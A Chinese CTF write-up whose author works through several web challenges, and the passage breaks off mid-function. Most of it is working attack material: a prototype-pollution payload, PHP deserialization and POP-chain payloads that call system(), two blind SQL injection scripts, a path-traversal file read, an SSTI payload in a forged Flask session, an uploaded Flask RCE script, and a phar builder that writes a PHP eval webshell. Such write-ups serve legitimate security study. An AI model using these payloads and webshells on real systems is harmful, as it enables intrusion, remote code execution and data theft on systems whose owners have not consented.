这段代码定义了一些变量

主要是引用了info和submit的路由 并且这两个路由都在routes这个文件夹下

先看info.js

const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const CONFIG = require("../config")
const DEFAULT_CONFIG = require("../config.default")

async function getInfo(timestamp) {
timestamp = typeof timestamp === "number" ? timestamp : Date.now();
// Remove test data from before the movie was released
let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
timestamp = Math.max(timestamp, minTimestamp);
const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
return data;
}

router.post("/info/:ts?", async (ctx) => {
if (ctx.header["content-type"] !== "application/x-www-form-urlencoded")
return ctx.body = {
status: "error",
msg: "Content-Type must be application/x-www-form-urlencoded"
}
if (typeof ctx.params.ts === "undefined") ctx.params.ts = 0
const timestamp = /^[0-9]+$/.test(ctx.params.ts || "") ? Number(ctx.params.ts) : ctx.params.ts;
if (typeof timestamp !== "number")
return ctx.body = {
status: "error",
msg: "Invalid parameter ts"
}

try {
const data = await getInfo(timestamp).catch(e => { throw e });
ctx.body = {
status: "success",
data: data
}
} catch (e) {
console.error(e);
return ctx.body = {
status: "error",
msg: "Internal Server Error"
}
}
})

module.exports = router;

主要看getInfo这个函数 它接收了timestamp

这段代码是一个异步函数,它接受一个参数 timestamp,并从数据库中查询特定时间戳之后的所有信息。下面是这段代码的逐行解释:

  1. async function getInfo(timestamp) {: 定义一个异步函数 getInfo,它接受一个参数 timestamp
  2. timestamp = typeof timestamp === "number" ? timestamp : Date.now();: 如果传入的 timestamp 是数字,则保持不变;否则,使用当前时间戳。
  3. // Remove test data from before the movie was released: 这是一个注释,表示要删除电影发布前的测试数据。
  4. let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();: 从配置中获取最小公开时间(默认为 DEFAULT_CONFIG.min_public_time),并将其转换为时间戳。
  5. timestamp = Math.max(timestamp, minTimestamp);: 将传入的 timestamp与最小时间戳进行比较,取两者中的较大值。这样做是为了确保查询的起始时间不会早于配置中指定的最小公开时间。
  6. const data = await sql.all(SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?, [timestamp]).catch(e => { throw e });: 使用 await 关键字等待异步 SQL 查询完成,并捕获可能的错误。这个查询从 wishes 表中选取所有在给定时间戳之后的时间记录。
  7. return data;: 返回查询到的数据。

根据这段代码 我们可以知道timestamp一定>=minTimestamp

所以是怎么定义的呢

let minTimestamp = new Date(CONFIG.min_public_time||DEFAULT_CONFIG.min_public_time).getTime();

是根据CONFIG和DEFAULT_CONFIG来定义的

所以我们要到CONFIG和DEFAULT_CONFIG中去看这是怎么个事 看看min_public_time是啥

CONFIG:

module.exports = {
app_name: "OtenkiGirl",
default_lang: "ja",
}

DEFAULT_CONFIG:

module.exports = {
app_name: "OtenkiGirl",
default_lang: "ja",
min_public_time: "2019-07-09",
server_port: 9960,
webpack_dev_port: 9970
}

源代码:CONFIG.min_public_time

查看根目录下的config.jsconfig.default.js后发现config.js并没有配置min_public_time,因此getInfo的第5行只是采用了DEFAULT_CONFIG.min_public_time

考虑原型链污染污染min_public_time为我们想要的日期,就能绕过最早时间限制,获取任意时间的数据

所以查看提交函数 在routes这个文件夹下

const Router = require("koa-router");
const router = new Router();
const SQL = require("./sql");
const sql = new SQL("wishes");
const Base58 = require("base-58");

const ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
const rndText = (length) => {
return Array.from({ length }, () => ALPHABET[Math.floor(Math.random() * ALPHABET.length)]).join('');
}

const timeText = (timestamp) => {
timestamp = (typeof timestamp === "number" ? timestamp : Date.now()).toString();
let text1 = timestamp.substring(0, timestamp.length / 2);
let text2 = timestamp.substring(timestamp.length / 2)
let text = "";
for (let i = 0; i < text1.length; i++)
text += text1[i] + text2[text2.length - 1 - i];
if (text2.length > text1.length) text += text2[0];
return Base58.encode(rndText(3) + Buffer.from(text)); // length = 20
}

const rndID = (length, timestamp) => {
const t = timeText(timestamp);
if (length < t.length) return t.substring(0, length);
else return t + rndText(length - t.length);
}

async function insert2db(data) {
let date = String(data["date"]), place = String(data["place"]),
contact = String(data["contact"]), reason = String(data["reason"]);
const timestamp = Date.now();
const wishid = rndID(24, timestamp);
await sql.run(`INSERT INTO wishes (wishid, date, place, contact, reason, timestamp) VALUES (?, ?, ?, ?, ?, ?)`,
[wishid, date, place, contact, reason, timestamp]).catch(e => { throw e });
return { wishid, date, place, contact, reason, timestamp }
}

const merge = (dst, src) => {
if (typeof dst !== "object" || typeof src !== "object") return dst;
for (let key in src) {
if (key in dst && key in src) {
dst[key] = merge(dst[key], src[key]);
} else {
dst[key] = src[key];
}
}
return dst;
}

router.post("/submit", async (ctx) => {
if (ctx.header["content-type"] !== "application/json")
return ctx.body = {
status: "error",
msg: "Content-Type must be application/json"
}

const jsonText = ctx.request.rawBody || "{}"
try {
const data = JSON.parse(jsonText);

if (typeof data["contact"] !== "string" || typeof data["reason"] !== "string")
return ctx.body = {
status: "error",
msg: "Invalid parameter"
}
if (data["contact"].length <= 0 || data["reason"].length <= 0)
return ctx.body = {
status: "error",
msg: "Parameters contact and reason cannot be empty"
}

const DEFAULT = {
date: "unknown",
place: "unknown"
}
const result = await insert2db(merge(DEFAULT, data));
ctx.body = {
status: "success",
data: result
};
} catch (e) {
console.error(e);
ctx.body = {
status: "error",
msg: "Internal Server Error"
}
}
})

module.exports = router;

发现merge函数

const merge = (dst, src) => {
if (typeof dst !== "object" || typeof src !== "object") return dst;
for (let key in src) {
if (key in dst && key in src) {
dst[key] = merge(dst[key], src[key]);
} else {
dst[key] = src[key];
}
}
return dst;
}

image-20240203000237750

其实找找能够控制数组(对象)的“键名”的操作即可

存在赋值操作dst[key] = src[key]

即存在javascript原型链污染

因为默认时间是2019-07-09 所以我们只需要改成比这个小的时间即可绕过限制

注入data['__proto__']['min_public_time']的值即可

提交信息必须为 JSON 格式,contactreason字段是必须的

payload:

{“date”:”a”,”place”:”b”,”contact”:”c”,”reason”:”d”,”__proto__“: { “min_public_time”: “1001-01-01” }}

image-20240203002355093

再请求info

最后回显后找到flag

image-20240203003307901

海胆のような顔をしたあいつが大覇星祭で私に負けた、彼を連れて出かけるつもりだ。彼を携帯店のカップルのイベントに連れて行きたい(イベントでプレゼントされるゲコ太は超レアだ!)晴れの日が必要で、彼を完全にやっつける!ゲコ太の抽選番号はflag{546fa7b1-5caa-4d91-b604-217aa0a746ac}です

flag{546fa7b1-5caa-4d91-b604-217aa0a746ac}

终于完了 真的难 其实对这个javascript原型链污染还是有点半懵半懵的 主要是在这些代码是怎么串起来的 为什么向submit的merge传参后就会给到info里,并造成污染 代码审计啊代码审计 思路是清楚了 javascript原型链污染是个怎么个事也是知道了 就是下次做题的时候不一定做的对

week4

 <?php
highlight_file(__FILE__);
function waf($str){
return str_replace("bad","good",$str);
}

class GetFlag {
public $key;
public $cmd = "whoami";
public function __construct($key)
{
$this->key = $key;
}
public function __destruct()
{
system($this->cmd);
}
}

unserialize(waf(serialize(new GetFlag($_GET['key'])))); www-data www-data

反序列化字符串逃逸

bad 替换为 good 字符增加一位

序列化代码构造:

<?php
class GetFlag {
public $key;
public $cmd = "ls /";

}
$a = new GetFlag();
echo serialize($a);

结果:

O:7:”GetFlag”:2:{s:3:”key”;N;s:3:”cmd”;s:4:”ls /“;}

需要逃逸的就是s:3:”cmd”;s:4:”ls /“;} 然后为了更好的闭合我一般都会加上”; 这个符号 也就是需要逃逸”;s:3:”cmd”;s:4:”ls /“;} 总共24个字符 这样我们只需要写24个bad就行了

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad”;s:3:”cmd”;s:4:”ls /“;}

image-20240205160515940

所以

?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat /flag";}

image-20240205162138681

flag{6431fc70-1a27-4717-a8a6-8341374a1b06}

More Fast

 <?php
highlight_file(__FILE__);

class Start{
public $errMsg;
public function __destruct() {
die($this->errMsg);
}
}

class Pwn{
public $obj;
public function __invoke(){
$this->obj->evil();
}
public function evil() {
phpinfo();
}
}

class Reverse{
public $func;
public function __get($var) {
($this->func)();
}
}

class Web{
public $func;
public $var;
public function evil() {
if(!preg_match("/flag/i",$this->var)){
($this->func)($this->var);
}else{
echo "Not Flag";
}
}
}

class Crypto{
public $obj;
public function __toString() {
$wel = $this->obj->good;
return "NewStar";
}
}

class Misc{
public function evil() {
echo "good job but nothing";
}
}

$a = @unserialize($_POST['fast']);
throw new Exception("Nope");
Fatal error: Uncaught Exception: Nope in /var/www/html/index.php:55 Stack trace: #0 {main} thrown in /var/www/html/index.php on line 55
POP链:__destruct()->__toString()->__get($var)->__invoke()->Web

所以

<?php


class Start{
public $errMsg;

}

class Pwn{
public $obj;


}

class Reverse{
public $func;

}

class Web{
public $func = 'system';
public $var = 'ls /';

}

class Crypto{
public $obj;

}

class Misc{

}
$a = new Start();
$a->errMsg = new Crypto();
$a->errMsg->obj = new Reverse();
$a->errMsg->obj->func = new Pwn();
$a->errMsg->obj->func->obj = new Web();
echo serialize($a);

结果:

image-20240205180018670

O:5:”Start”:1:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:4:”ls /“;}}}}}

上传 仍报错

image-20240205180134443

这是因为代码里面扔了个异常

image-20240205180221381

这会导致在反序列化之后直接经过异常报错 导致后边的析构函数__destruct()无法触发

所以需要Fast destruct

1.修改序列化数字元素个数

O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
改成
O:5:"Start":2:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}

image-20240205180429122

O:5:”Start”:2:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:7:”cat /f*”;}}}}}

image-20240205180917410

flag{aa977e39-9133-4995-9ba1-a75aae77b57f}

2.去掉序列化尾部 }

O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}}
改成
O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:4:"ls /";}}}}

image-20240205181044938

O:5:”Start”:1:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:7:”cat /f*”;}}}}

image-20240205181123821

flag{aa977e39-9133-4995-9ba1-a75aae77b57f}

midsql

image-20240205182352427

随便传一下

在url中发现id应该是注入点

被过滤

image-20240205182849525

union没过滤

image-20240205182916033

select没过滤

image-20240205182951444

2‘也没有

image-20240205183024376

说明过滤了空格

image-20240205183131864

没问题 无回显

用/**/代替空格

使用时间盲注来

脚本1:

import requests

# from tqdm import trange
res = ''
last = ' '
headers = {
'Host': '93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/',
'Cache-Control': 'max-age=0',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Referer': 'http://93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9'
}
for i in range(1, 1000):
for j in range(127, 31, -1):
url = r'http://93af9711-9ca0-455a-977c-d562bb88a211.node4.buuoj.cn:81/?id='
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{j}),sleep(3),0)' # information_schema,mysql,performance_schema,sys,test,ctf
# payload = rf'1/**/and/**/if((ascii(substr((select/**/database()),{i},1))>{j}),sleep(3),0)'
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/"ctf"),{i},1))>{j}),sleep(3),0)'
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"items"),{i},1))>{j}),sleep(3),0)' # id,name,price
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
# payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(id,0x3a,name,0x3a,price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(name)/**/from/**/ctf.items),{i},1))>{j}),sleep(4),0)'
url = url + payload
# print(url)
try:
response = requests.get(url=url, timeout=4)
except Exception as e:
last = res
# print(chr(j+1))
res += chr(j + 1)
# print(res)
break
print('[*] ' + res)

脚本2:

import requests,re,copy
class Gadget():
def __enter__(self):
return self
def __exit__(self, exc_type, exc_val, exc_tb):
return
def str2hex(self,string:str):
result = ''
for c in string:
result += hex(ord(c))
return '0x'+result.replace('0x','')
# index start from 1
#注意要把脚本中的空格改成/**/
def get_char_ascii(self,string:str,index):
method1 = f'(Ord(right(left({string},{index}),1)))'
method2 = f'(Ord(substr({string}/**/from/**/{index}/**/for/**/1)))'
method3 = f'(Ord(sUbstr({string} frOm {index} fOr 1)))'
return method2
def table_name_in_db(self):
s1 = '(Select(group_concat(table_name))from(mysql.innodb_table_stats)where((database_name)/**/in/**/(dAtabase())))' # mysql > 5.6
s2 = '(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)/**/in/**/(dAtabase())))'
s3 = '(Select(group_coNcat(table_name))frOm(infOrmation_schema.tables)wHere((table_schema)In(dAtabase())))'
return s3
def table_name_in_db2(self, schema_name):
s1 = '(Select(group_concat(table_name))from(mysql.innodb_table_stats)where((database_name)/**/in/**/(dAtabase())))' # mysql > 5.6
s2 = '(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)/**/in/**/(dAtabase())))'
s3 = f"(Select(group_coNcat(table_name))frOm(infOrmation_schema.tables)wHere((table_schema)In('{schema_name}')))"
return s3
def db_names(self):
s1 = '(Select(group_concat(table_name))from(mysql.innodb_table_stats)where((database_name)/**/in/**/(dAtabase())))' # mysql > 5.6
s2 = '(Select(group_concat(table_name))from(infOrmation_schema.tables)where((table_schema)/**/in/**/(dAtabase())))'
s3 = f"(sElect(group_coNcat(sChema_name))from(information_schema.schemata))"
return s3
def column_name_in_table(self,table_name:str):
s1 = f"(select(group_concat(column_name))from(infOrmation_schema.columns)where(table_name)in('{table_name}'))"
s2 = f"(sElect(group_cOncat(Column_name))frOm(infOrmation_schema.cOlumns)wHere(table_name)In({self.str2hex(table_name)}))"
return s2
def column_value_in_table(self,table_name:str,column_name:str):
s1 = f"(sElect(grOup_cOncat({column_name}))frOm({table_name}))"
return s1
def get_len(self,function,*args, **kwargs):
s1 = f'(lenGth({function(*args, **kwargs)}))'
return s1
def ascii_equal(self,asc,i):
s1 = f"(({asc})in({i}))"
return s1
def len_equal(self,len,i):
s1 = f"(({len})in({i}))"
return s1
def ascii_greater(self,asc,i):
s1 = f"(leAst({asc},{i})in({i}))"
return s1
def judge(self,cond):
s2 = f"Elt(({cond})+1,sLeep(1),0)"
s1 = f"(iF(({cond}),sLeep(1),0))"
return s1
class Injector():
def __init__(self,url,method,inject_param,data=None,debug=True):
self.url = url
self.method = method
self.data = data
self.inject_param = inject_param
self.debug = debug
self.gadget = Gadget()
def condition(self,res):
if res.elapsed.total_seconds()>1:
return True
return False
def handle_value(self,function, *args, **kwargs):
result = ''
data = copy.deepcopy(self.data)
for _time in range(200):
print("time:%d" % (_time + 1))
left = 32
right = 128
updated = False
while (right > left):
mid = (left + right) // 2
with self.gadget as g:
data[self.inject_param] = self.data[self.inject_param].replace('XXXXX',g.judge(g.ascii_equal(g.get_char_ascii(function(*args, **kwargs),_time+1),mid)))
res = None
if self.method == 'get':
res = requests.get(self.url,data)
if self.debug:
#print(res.text)
print(res.request.url)
else:
res = requests.post(self.url,data)
if self.debug:
print(res.text)
if (self.condition(res)):
result+=chr(mid)
print(result)
updated = True
break
else:
with self.gadget as g:
data[self.inject_param] = self.data[self.inject_param].replace('XXXXX',g.judge(g.ascii_greater(g.get_char_ascii(function(*args, **kwargs),_time+1),mid)))
res = None
if self.method == 'get':
res = requests.get(self.url, data)
else:
res = requests.post(self.url, data)
if (self.condition(res)):
left = mid
else:
right = mid
if not updated :
break
def handle_len(self,function, *args, **kwargs):
data = copy.deepcopy(self.data)
for _time in range(1,200):
print("time:%d" % (_time))
with self.gadget as g:
data[self.inject_param] = self.data[self.inject_param].replace('XXXXX',g.judge(g.len_equal(g.get_len(function,*args, **kwargs),_time)))
res = None
if self.method == 'get':
res = requests.get(self.url, data)
if self.debug:
print(res.request.url)
print(res.text)
else:
res = requests.post(self.url, data)
if self.debug:
print(res.text)
if (self.condition(res)):
print(_time)
break
'''
Note:
Use time-based injection by default.
Todo:
union injection
bool injection
'''
if __name__ == '__main__':
g = Gadget()
result = ''
url = 'http://7e6750f1-d557-49a6-bea9-ecfe9513b376.node4.buuoj.cn:81/'
inject_param = 'id'
# XXXXX 会被替换为 if(,sleep(1.5),0)
data = {'id':"1/**/Or/**/XXXXX#"}
inj = Injector(url,method='get',inject_param=inject_param,data=data)
# 获取数据库列表
#inj.handle_value(g.db_names)
#information_schema,mysql,performance_schema,sys,test,ctf
# 根据数据库获取表名
#inj.handle_value(g.table_name_in_db2, 'ctf')
#items
# 获取表的字段
#inj.handle_value(g.column_name_in_table,'items')
#id,name,price
# 最后取数据
inj.handle_value(g.column_value_in_table,'ctf.items','name')

image-20240205192402524

flag{9197eb45-96a5-45b5-807d-ac6db0c1163d}

第二个脚本报错:未解析的引用 ‘Injector’ 懵了 有这个类啊

找到问题了 是格式错了

又说我 未使用的 import 语句 ‘re’

还有’Gadget’ object has no attribute ‘column_value_in_table’

先这样吧

flask disk

image-20240218121532061

list files:

image-20240218121615441

upload files:

image-20240218121712990

可以上传个什么东西

admin manage:

image-20240218121831105

可以上传Pin码

要输入pin码,说明flask开启了debug模式。flask开启了debug模式下,app.py源文件被修改后会立刻加载。所以只需要上传一个能rce的app.py文件把原来的覆盖,就可以了

所以:

from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():
try:
cmd = request.args.get('cmd')
data = os.popen(cmd).read()
return data
except:
pass

return "1"
if __name__=='__main__':
app.run(host='0.0.0.0',port=5000,debug=True)

上传这个

image-20240218130640300

image-20240218131653210

直接命令执行

image-20240218131354399

没回显

懵了

试了%20 不行

什么鬼

image-20240218132947482

image-20240218133447940

文件名字问题 要把原来的app.py覆盖 要名字一样

InjectMe

image-20240218144557506

发现图片可以点击

image-20240218153841220

image-20240218153916167

110.jpg中有源码

image-20240218154053380

将../替代为空

且在download路由下

猜到运行文件,以及后面审计源码

..././..././..././etc/passwd
..././..././..././app/app.py
..././..././..././etc/config.py

image-20240218160623172

/download?file=/app/app.py

拿到源码

import os
import re

from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key

app = Flask(__name__)
app.secret_key = secret_key


@app.route('/')
def hello_world(): # put application's code here
return render_template('index.html')


@app.route("/cancanneed", methods=["GET"])
def cancanneed():
all_filename = os.listdir('./static/img/')
filename = request.args.get('file', '')
if filename:
return render_template('img.html', filename=filename, all_filename=all_filename)
else:
return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"


@app.route("/download", methods=["GET"])
def download():
filename = request.args.get('file', '')
if filename:
filename = filename.replace('../', '')
filename = os.path.join('static/img/', filename)
print(filename)
if (os.path.exists(filename)) and ("start" not in filename):
return send_file(filename)
else:
abort(500)
else:
abort(404)


@app.route('/backdoor', methods=["GET"])
def backdoor():
try:
print(session.get("user"))
if session.get("user") is None:
session['user'] = "guest"
name = session.get("user")
if re.findall(
r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
name):
abort(500)
else:
return render_template_string(
'竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
except Exception:
abort(500)


@app.errorhandler(404)
def page_not_find(e):
return render_template('404.html'), 404


@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500


if __name__ == '__main__':
app.run('0.0.0.0', port=8080)

明显重点在backdoor函数上

download?file=/app/config.py

拿到secret_key

secret_key = “y0u_n3ver_k0nw_s3cret_key_1s_newst4r”

这里又需要让session的值可控,session伪造无疑了

然后禁用了一大堆ssti函数,肯定是要打ssti了

所以

用 flask_session_cookie_manager3.py

#解密:python flask_session_cookie_manager3.py decode -s “secret_key” -c “需要解密的session值”

#加密:python flask_session_cookie_manager3.py encode -s “secret_key” -t “需要加密的session值”

{'user':'{%print(((g[\'pop\'][\'_\'*2~\'g\'\'lobals\'~\'_\'*2][\'_\'*2~\'b\'\'uiltins\'~\'_\'*2][\'_\'*2~\'import\'~\'_\'*2](\'OS\'|lower)[\'p\'\'open\'](\'CAT /y*\'|lower))[\'read\']()))%}'}

image-20240218184409297

吐了

伪造后的session:.eJy1kD0OwjAMhe9iqVK7uYltJM6ShYGBBaFSpEqld6d26v7QDiwsVhK_9_k5Pbye1wbO0BeP5nZvy67r3pe2bcoEKdXx5IVrLeInoVUXqkMLmU-FbNegpfY3iT8SiH3eMtnemDeEnVnnCc_ZaYOxVf6UIatlte4-XQ5hQvQfkvD9swl57KKtkiVxuqICMG-xAHDOJRsvRQ-jeCRtsOHDAS84xRxEjholUFXFAMMHKM2ZMA.ZVd5wg.NN4PVUmSQiA6Ll-XV1SkJq_5b50
image-20240218190941456

PharOne

image-20240218191233468

初始界面有个文件上传功能

image-20240218191503324

提示class.php

访问

image-20240218191802832

一眼phar反序列化

<?php
class Flag{
public $cmd;
public function __construct() {
$this->cmd = "echo '<?=system(\$_POST[1]);?>'>/var/www/html/1.php";
}
}
$a = new Flag();
$phar = new Phar('A.phar');
$phar->startBuffering();
$phar->addFromString('test.txt','test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a);
$phar->stopBuffering();
?>

题目对__HALT_COMPILER()进行了过滤,可以使用gzip等压缩进行绕过

直接

<?php
class Flag{
public $cmd = "echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php";
}
@unlink("1.phar");
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER(); ?>");
$o = new Flag();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
system("gzip 1.phar");
rename("1.phar.gz","1.jpg");

上传1.jpg文件

在class.php触发phar反序列化

rce拿到flag

image-20240218195221434

整个题理解还是差不多 但是对phar反序列化还是存在一些问题

OtenkiBoy

也是javascript原型链污染

image-20240218200553004

是week3中Otenkgirl的升级版

依旧是两个主要的文件,info.js,submit.js,但这次的geiinfo()函数没有那么简单能够利用了,config文件和default_config 文件中都有min_public_time。

info.js中仍有:

image-20240218202954663

明显minTimestamp与函数createDate有关

const createDate = (str, opts) => {
const CopiedDefaultOptions = copyJSON(DEFAULT_CREATE_DATE_OPTIONS)
if (typeof opts === "undefined") opts = CopiedDefaultOptions
if (typeof opts !== "object") opts = { ...CopiedDefaultOptions, UTC: Boolean(opts) };
opts.UTC = typeof opts.UTC === "undefined" ? CopiedDefaultOptions.UTC : Boolean(opts.UTC);
opts.format = opts.format || CopiedDefaultOptions.format;
if (!Array.isArray(opts.format)) opts.format = [opts.format]
opts.format = opts.format.filter(f => typeof f === "string")
.filter(f => {
if (/yy|yyyy|MM|dd|HH|mm|ss|fff/.test(f) === false) {
console.warn(`Invalid format "${f}".`, `At least one format specifier is required.`);
return false;
}
if (`|${f}|`.replace(/yyyy/g, "yy").split(/yy|MM|dd|HH|mm|ss|fff/).includes("")) {
console.warn(`Invalid format "${f}".`, `Delimeters are required between format specifiers.`);
return false;
}
if (f.includes("yyyy") && f.replace(/yyyy/g, "").includes("yy")) {
console.warn(`Invalid format "${f}".`, `"yyyy" and "yy" cannot be used together.`);
return false;
}
return true;
})
opts.baseDate = new Date(opts.baseDate || Date.now());

// number
if (typeof str === "number") {
return new Date(str);
} else if (typeof str === "string") {
// number string
if (/^\-?\d+$/.test(str.trim())) return createDate(Number(str.trim()));

// utility functions
const isLeapYear = year => (year % 4 == 0 && year % 100 != 0) || (year % 400 == 0)
const MonthDay = (mon, year) => [31, isLeapYear(year) ? 29 : 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31][mon - 1]
const pad = (n, len) => String(n).padStart(len, "0")
const getYMD = (date) => {
let regres = /^(\d+) *(\-|\/) *(\d+) *(\-|\/) *(\d+)$/.exec(date.trim())
if (regres === null) return {}
const [n1, n2, n3] = [regres[1], regres[3], regres[5]].map(Number);
if (1 <= n2 && n2 <= 12 && 1 <= n3 && n3 <= MonthDay(n2, n1)) {
// 2020-12-31
let yyyy = pad(n1, 1), MM = pad(n2, 2), dd = pad(n3, 2);
return { yyyy, MM, dd }
} else if (1 <= n1 && n1 <= 12 && 1 <= n2 && n2 <= MonthDay(n1, n3)) {
// 12-31-2020
let yyyy = pad(n3, 1), MM = pad(n1, 2), dd = pad(n2, 2);
return { yyyy, MM, dd }
} else return {}
}
const getHMS = (time) => {
let regres = /^(\d+) *\: *(\d+)( *\: *(\d+)( *\. *(\d+))?)?$/.exec(time.trim())
if (regres === null) return {}
let [n1, n2, n3, n4] = [regres[1], regres[2], regres[4], regres[6]].map(t => typeof t === "undefined" ? undefined : Number(t));
if (typeof n3 === "undefined") n3 = 0; // 23:59(:59)?
if (0 <= n1 && n1 <= 23 && 0 <= n2 && n2 <= 59 && 0 <= n3 && n3 <= 59) {
// 23:59:59(.999)?
let HH = pad(n1, 2), mm = pad(n2, 2), ss = pad(n3, 2),
fff = typeof n4 === "undefined" ? undefined : pad(n4, 3).substring(0, 3);
const o = { HH, mm, ss }
if (typeof fff !== "undefined") o.fff = fff;
return o;
} else return {}
}
const escapeRegExp = (str) => str.replace(/[.*+?^${}()|\[\]\\]/g, '\\$&'); // $& means the whole matched string

// format
if (Array.isArray(opts.format) && opts.format.length > 0) {
for (let fmt of opts.format) {
const regExpr_specifier = escapeRegExp(fmt)
.replace(/yyyy/, "(y{4})").replace(/yy/, "(yy)")
.replace(/MM/, "(MM)").replace(/dd/, "(dd)")
.replace(/HH/, "(HH)").replace(/mm/, "(mm)").replace(/ss/, "(ss)")
.replace(/fff/, "(fff)")
let sortTable = new RegExp(`^${regExpr_specifier}$`).exec(fmt).slice(1)
const regExpr = escapeRegExp(fmt)
.replace(/yyyy/, "(-?\\d+)").replace(/yy/, "(-?\\d+)")
.replace(/MM/, "(\\d{1,2})").replace(/dd/, "(\\d{1,2})")
.replace(/HH/, "(\\d{1,2})").replace(/mm/, "(\\d{1,2})").replace(/ss/, "(\\d{1,2})")
.replace(/fff/, "(\\d{1,3})")
let regres = new RegExp(`^${regExpr}$`).exec(str.trim())
if (regres === null) continue
const dateObj = opts.baseDate
const _UTC = opts.UTC ? "UTC" : ""
let argTable = {
"yyyy": dateObj[`get${_UTC}FullYear`](),
"MM": dateObj[`get${_UTC}Month`]() + 1,
"dd": dateObj[`get${_UTC}Date`](),
"HH": dateObj[`get${_UTC}Hours`](),
"mm": dateObj[`get${_UTC}Minutes`](),
"ss": dateObj[`get${_UTC}Seconds`](),
"fff": dateObj[`get${_UTC}Milliseconds`] ? dateObj[`get${_UTC}Milliseconds`]() : undefined // due to system architecture
}
sortTable.forEach((f, i) => {
if (f == "yy") {
let year = Number(regres[i + 1])
year = year < 100 ? (1900 + year) : year;
return argTable["yyyy"] = year;
}
argTable[f] = Number(regres[i + 1])
})
let { yyyy, MM, dd, HH, mm, ss, fff } = argTable;

[yyyy, MM, dd, HH, mm, ss, fff] = [pad(yyyy, 1), pad(MM, 2), pad(dd, 2), pad(HH, 2), pad(mm, 2), pad(ss, 2), typeof fff === "undefined" ? undefined : pad(fff, 3)];
const d = new Date(`${yyyy}-${MM}-${dd}T${HH}:${mm}:${ss}` + (typeof argTable.fff === "number" ? `.${fff}` : "") + (opts.UTC ? "Z" : ""));

if (Number.isSafeInteger(d.getTime())) return d;
else continue;
}
}

// Following: fallback to automatic detection
// date or date time
let date_time, delimiter = " ";
